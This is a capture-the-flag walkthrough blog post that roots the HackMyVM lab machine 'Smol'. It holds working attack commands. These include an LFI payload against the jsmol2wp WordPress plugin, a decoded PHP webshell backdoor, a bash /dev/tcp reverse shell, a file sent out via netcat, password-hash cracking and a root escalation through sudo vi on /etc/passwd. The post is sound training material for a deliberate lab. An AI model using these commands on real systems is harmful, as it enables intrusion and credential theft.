Post

CTF Walkthrough for HackMyVM Machine Smol

CTF Walkthrough for HackMyVM Machine Smol

Introduction

Greetings everyone, in this walkthrough, we will talk about Smol a machine among HackMyVM machines. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment. This machine was set up using VirtualBox as recommended by the creator and the Network configuration was changed to ‘Nat Network’.

Machine Description

Name: Zero
Goal: Get two flags
OS: Linux
Download link: Smol

Tools used

1) Nmap
2) Wpscan
3) Hashcat
4) John The Ripper

Reconnaissance

First of all, we need to identify our target on the network. We do this by performing a host discovery scan on the current subnet.

1
2
3
4
5
6
7
8
9
┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Scans/Service]
└─$ nmap -sn -n 10.0.2.16/24                             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 21:19 BST
<SNIP>
Nmap scan report for 10.0.2.16
Host is up (0.00027s latency).
Nmap scan report for 10.0.2.38
Host is up (0.00057s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.02 seconds

After we have obtained the IP address of our target, we can perform a service scan to identify running services on the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Scans/Service]
└─$ nmap -Pn -n -sC -sV 10.0.2.38 -oN service-scan.nmap  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-26 21:20 BST
Nmap scan report for 10.0.2.38
Host is up (0.0048s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.07 seconds

We can see the domain name of the web application in Nmap’s scan. Let’s add this to our /etc/hosts file.

1
2
3
┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Scans/Service]
└─$ echo "10.0.2.38\tsmol.hmv  www.smol.hmv" | sudo tee -a /etc/hosts      
10.0.2.38       smol.hmv  www.smol.hmv

The target runs an SSH and a web server. Let’s visit the web application running on port 80.

The footer of the home page tells us that this web application uses the WordPress CMS. Let’s use wpscan to enumerate this WordPress instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Scan/Web]
└─$ wpscan --url http://www.smol.hmv/  
<SNIP>
[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.hmv/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt
<SNIP>

Notice the presence of the jsmol2wp plugin. We can Google this plugin with its version number to check if it has any public vulnerability.

Notice that this plugin is vulnerable to an LFI vulnerability. This goes into more detail on how to exploit this vulnerability. Let’s read the database password in the wp-config.php file.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]                                                                                                                                     
└─$ curl -s 'http://www.smol.hmv/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php'                    
<?php
<SNIP>                     
/** The name of the database for WordPress */  
define( 'DB_NAME', 'wordpress' );

/** Database username */                                                                      
define( 'DB_USER', 'wpuser' );              
/** Database password */                                                                      
define( 'DB_PASSWORD', '<REDACTED>' );                                          
<SNIP>  

Now that we have a pair of login credentials, we can try to log into the WordPress instance.

We see that the wpuser is a valid user in the WordPress instance and uses the same password. Unfortunately, this doesn’t look like a user with high privileges so let’s continue our enumeration. We can fuzz the WordPress instance for installed plugins using the LFI vulnerability.

1
2
3
4
5
6
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ ffuf -ic -c -u 'http://www.smol.hmv/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../FUZZ' -w /usr/share/seclists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt  -fs 2
<SNIP>

wp-content/plugins/hello.php [Status: 200, Size: 2704, Words: 321, Lines: 104, Duration: 224ms]
:: Progress: [13370/13370] :: Job [1/1] :: 82 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

We can see that the Hello Dolly plugin is installed let’s read this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ curl -s 'http://www.smol.hmv/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-content/plugins/hello.php' 
<SNIP>
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
        eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
        
        $chosen = hello_dolly_get_lyric();
        $lang   = '';
        if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
                $lang = ' lang="en"';
        }
<SNIP>

Notice the use of the eval() function on a decoded base64 string. This function executes valid PHP code so let’s decode the string to see what is executed.

1
2
3
4
5
6
7
8
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ echo -n CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA= | base64 -d

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }

┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Misc File]
└─$ printf "\143\155\x64"
cmd  

The system command executes the content of the cmd GET parameter. This is a backdoor in the WordPress instance and we can use it to obtain a foothold. Let’s create a bash reverse shell script and host it on a Python server.

1
2
3
4
5
6
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ echo 'bash -c "/bin/bash -i >& /dev/tcp/10.0.2.16/1234 0>&1"' > rev.sh

┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ python3 -m http.server 80                                       
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Now let’s start our listener that will receive the shell.

1
2
3
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

With all this set, we can now download the shell on the target and execute it to obtain a foothold.

When we return to our listener, we will notice a reverse connection from the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.16] from (UNKNOWN) [10.0.2.38] 41594
bash: cannot set terminal process group (794): Inappropriate ioctl for device
bash: no job control in this shell
www-data@smol:/var/www/wordpress/wp-admin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<min$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@smol:/var/www/wordpress/wp-admin$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1234
                               export TERM=xterm
www-data@smol:/var/www/wordpress/wp-admin$ 

Remember that we obtained the database credentials of the WordPress instance so let’s enumerate the password hashes of all the users in this instance.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@smol:/$ mysql -u wpuser -p
Enter password:              
Welcome to the MySQL monitor.  Commands end with ; or \g.
<SNIP>                   

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;       
+--------------------+       
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+                                                                        
5 rows in set (0.00 sec)
mysql> use wordpress
Reading table information for completion of table and column names                            
You can turn off this feature to get a quicker startup with -A   
mysql> SELECT user_login,user_pass FROM wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$B5TxxxxxxxxxxxxxxxxxxxqsQACvOJ0 |
| wpuser     | $P$BfZxxxxxxxxxxxxxxxxxxxBVh2Z1/E. |
| think      | $P$B0jxxxxxxxxxxxxxxxxxxxVi2pb7Vd/ |
| gege       | $P$BsIxxxxxxxxxxxxxxxxxxxM4FwiG0m1 |
| diego      | $P$BWFxxxxxxxxxxxxxxxxxxxrff4JPwv1 |
| xavi       | $P$Bvxxxxxxxxxxxxxxxxxxxx40mqJZCN/ |
+------------+------------------------------------+
6 rows in set (0.00 sec)

We can copy these hashes and attempt offline password cracking.

1
2
3
4
5
6
7
8
┌──(christ㉿Christ-PC)-[~/Documents]
└─$ hashcat -a 0 -m 400 hashes .rockyou.txt 
hashcat (v6.2.6) starting
<SNIP>

┌──(christ㉿Christ-PC)-[~/Documents]
└─$ hashcat -a 0 -m 400 hashes --show
$P$BWFxxxxxxxxxxxxxxxxxxxrff4JPwv1:<REDACTED>

We cracked the password of the Diego user who is also a local user on the target. Let’s switch to this user using this password.

1
2
3
4
5
6
www-data@smol:/$ su diego
Password: 
diego@smol:/$ cd /home/diego
diego@smol:~$ ls -l
total 4
-rw-r--r-- 1 root root 33 Aug 16  2023 user.txt

A quick enumeration of the file system reveals that the home directories of all users belong to a custom group called internal.

1
2
3
4
5
6
7
8
diego@smol:/home$ ls -l
total 16
drwxr-x--- 4 diego internal 4096 Oct 27 08:59 diego
drwxr-x--- 2 gege  internal 4096 Aug 18  2023 gege
drwxr-x--- 5 think internal 4096 Jan 12  2024 think
drwxr-x--- 2 xavi  internal 4096 Aug 18  2023 xavi
diego@smol:/home$ id
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)

We can enumerate this directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
diego@smol:/home$ ls -la xavi/ think/ gege/
gege/:
total 31532
drwxr-x--- 2 gege internal     4096 Aug 18  2023 .
drwxr-xr-x 6 root root         4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root            9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 gege gege          220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gege gege         3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 gege gege          807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root            9 Aug 18  2023 .viminfo -> /dev/null
-rwxr-x--- 1 root gege     32266546 Aug 16  2023 wordpress.old.zip

think/:
total 36
drwxr-x--- 5 think internal 4096 Oct 27 09:15 .
drwxr-xr-x 6 root  root     4096 Aug 16  2023 ..
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
drwx------ 2 think think    4096 Jan 12  2024 .cache
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
-rw------- 1 think think      28 Oct 27 09:15 .lesshst
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null

xavi/:
total 20
drwxr-x--- 2 xavi internal 4096 Aug 18  2023 .
drwxr-xr-x 6 root root     4096 Aug 16  2023 ..
lrwxrwxrwx 1 root root        9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 xavi xavi      220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 xavi xavi     3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 xavi xavi      807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root        9 Aug 18  2023 .viminfo -> /dev/null

Think’s home directory has the .ssh folder and we have read access to it. Let’s read Think’s SSH private key and use it to log in as Think.

1
2
3
4
5
6
diego@smol:/home$ cat think/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
81DXo7MfGm0bSFAAAAEnRoaW5rQHVidW50dXNlcnZlcg==
-----END OPENSSH PRIVATE KEY-----
1
2
3
4
5
6
7
8
9
10
11
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ nano think_rsa 

┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ chmod 600 think_rsa         

┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ ssh think@10.0.2.38 -i think_rsa
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
<SNIP>
think@smol:~$ 

We can also enumerate group membership on the target.

1
2
3
4
5
6
7
think@smol:/home$ cat /etc/group | grep "gege\|diego\|think\|xavi"
think:x:1000:
xavi:x:1001:
diego:x:1002:
gege:x:1003:
dev:x:1004:think,gege
internal:x:1005:diego,gege,think,xavi

We can see that all local users are members of the custom internal group and both Think and Gege are members of the dev which is also a custom group. Since many local users are on the target, we can read the PAM configuration files used to configure methods to authenticate users.

1
2
3
4
5
6
7
8
9
10
think@smol:/home$ cat /etc/pam.d/su
#                                      
# The PAM configuration file for the Shadow `su' service      
#
                                               
# This allows root to su without passwords (normal operation)
auth       sufficient pam_rootok.so
auth  [success=ignore default=1] pam_succeed_if.so user = gege          
auth  sufficient                 pam_succeed_if.so use_uid user = think
<SNIP>ex

We can see from here that the user Think can switch to Gege without a password. Let’s switch to Gege.

1
2
3
4
think@smol:/home$ su - gege
gege@smol:~$ ls -l
total 31512
-rwxr-x--- 1 root gege 32266546 Aug 16  2023 wordpress.old.zip

Notice that Gege’s home directory contains a backup file zip named wordpress.old.zip. This is surely a backup of the WordPress directory. Unfortunately, this file is protected by a password we don’t know.

1
2
3
4
gege@smol:~$ unzip wordpress.old.zip 
Archive:  wordpress.old.zip
[wordpress.old.zip] wordpress.old/wp-config.php password: 
<SNIP>

We can transfer this file to our attack host and use John to extract the hash of the password used to protect this file and attempt offline cracking.

1
2
3
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ nc -lvnp 8000 > wordpress.zip                        
listening on [any] 8000 ...
1
gege@smol:~$ nc -q 0 10.0.2.16 8000 < wordpress.old.zip 
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ zip2john wordpress.zip  > zip-hash
<SNIP>
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ john hash -wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
<REDACTED> (wordpress.zip)     
1g 0:00:00:00 DONE (2024-10-27 12:36) 1.250g/s 9543Kp/s 9543Kc/s 9543KC/s hesse..hellome2010
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

We successfully cracked the password of the zip file. Let’s uncompress it and enumerate it for any interesting information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ unzip wordpress.zip
Archive:  wordpress.zip
   creating: wordpress.old/
[wordpress.zip] wordpress.old/wp-config.php password:
  inflating: wordpress.old/wp-config.php
  inflating: wordpress.old/index.php  
  <SNIP>
  
┌──(pentester㉿kali)-[~/Desktop/HackMyVM/Smol/Misc File]
└─$ cd wordpress.old 
┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Misc File/wordpress.old]
└─$ ls
index.php    readme.html      wp-admin            wp-comments-post.php  wp-content   wp-includes        wp-load.php   wp-mail.php      wp-signup.php     xmlrpc.php
license.txt  wp-activate.php  wp-blog-header.php  wp-config.php         wp-cron.php  wp-links-opml.php  wp-login.php  wp-settings.php  wp-trackback.php

Notice that it is exactly like a WordPress root’s directory. Since this is an old backup, let’s enumerate the database credentials to see if there was any change with time.

1
2
3
4
5
6
7
┌──(pentester㉿kali)-[~/…/HackMyVM/Smol/Misc File/wordpress.old]
└─$ cat wp-config.php| grep -i "pass\|user"
/** Database username */
define( 'DB_USER', 'xavi' );
/** Database password */
define( 'DB_PASSWORD', '<REDACTED>' );
 * This will force all users to have to log in again.

We can see the database credentials of the user Xavi. Xavi is also a local user so let’s use these credentials to log in as Xavi.

1
2
3
gege@smol:~$ su xavi
Password: 
xavi@smol:/home/gege$

We can log in as Xavi. A quick look at this user’s sudo right reveals that Xavi can run the Vim text editor as root to edit the /etc/passwd file

1
2
3
4
5
6
7
xavi@smol:/home/gege$ sudo -l
[sudo] password for xavi: 
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) /usr/bin/vi /etc/passwd

We can edit this file by removing the x in the root’s entry to enable open authentication to this account.

After the modification, we can log in as root without the use of a password and read the second flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
xavi@smol:/home/gege$ su root
root@smol:/home/gege$ ls /root
total 64K
drwx------  7 root root 4.0K Oct 27 09:41 .
drwxr-xr-x 18 root root 4.0K Mar 29  2024 ..
lrwxrwxrwx  1 root root    9 Jun  2  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.2K Jun 21  2023 .bashrc
drwx------  2 root root 4.0K Jun  2  2023 .cache
-rw-------  1 root root   35 Mar 29  2024 .lesshst
drwxr-xr-x  3 root root 4.0K Jun 21  2023 .local
lrwxrwxrwx  1 root root    9 Aug 18  2023 .mysql_history -> /dev/null
drwxr-xr-x  4 root root 4.0K Aug 16  2023 .phpbrew
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r-----  1 root root   33 Aug 16  2023 root.txt
-rw-r--r--  1 root root   75 Aug 17  2023 .selected_editor
drwx------  3 root root 4.0K Jun 21  2023 snap
drwx------  2 root root 4.0K Jun  2  2023 .ssh
-rw-rw-rw-  1 root root  13K Oct 27 09:41 .viminfo

Conclusion

Congratulations! In this walkthrough, you have exploited an LFI vulnerability in a WordPress plugin to read the credentials of a valid user. Next, you leverage a backdoor present on the target to obtain a foothold. Finally, you obtained root access by leveraging misconfigurations and weak passwords used on the system. This machine was designed to show how improper upgrade practices, password reuse, and the use of weak passwords could seriously impact an organisation’s security posture. Thanks for following up on this walkthrough.

This post is licensed under CC BY 4.0 by the author.